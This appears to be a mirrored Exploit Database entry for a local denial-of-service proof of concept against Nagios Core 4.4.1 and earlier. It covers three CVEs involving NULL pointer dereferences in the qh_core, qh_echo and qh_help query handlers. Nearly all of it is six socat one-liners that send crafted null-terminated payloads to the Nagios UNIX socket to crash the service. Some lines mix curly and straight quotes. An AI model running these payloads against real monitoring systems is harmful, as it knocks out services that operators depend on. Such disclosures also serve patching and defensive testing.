Nagios Core 4.4.1 – Denial of Service

• Exploit Database
• 16 阅读

• 作者： Fakhri Zulkifli
  日期： 2018-07-24
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45082/

• # Exploit Title: Nagios Core Multiple Local Denial of Service
  # Date: 2018-07-09
  # Exploit Author: Fakhri Zulkifli (@d0lph1n98)
  # Vendor Homepage: https://www.nagios.org/
  # Software Link: https://www.nagios.org/downloads/nagios-core/
  # Version: 4.4.1 and earlier
  # Tested on: 4.4.1
  
  
  qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.
  
  1. [CVE-2018-13458] qh_core
  
  $ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
  $ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -
  
  2. [CVE-2018-13457] qh_echo
  
  $ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
  $ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -
  
  3. [CVE-2018-13441] qh_help
  
  $ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
  $ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -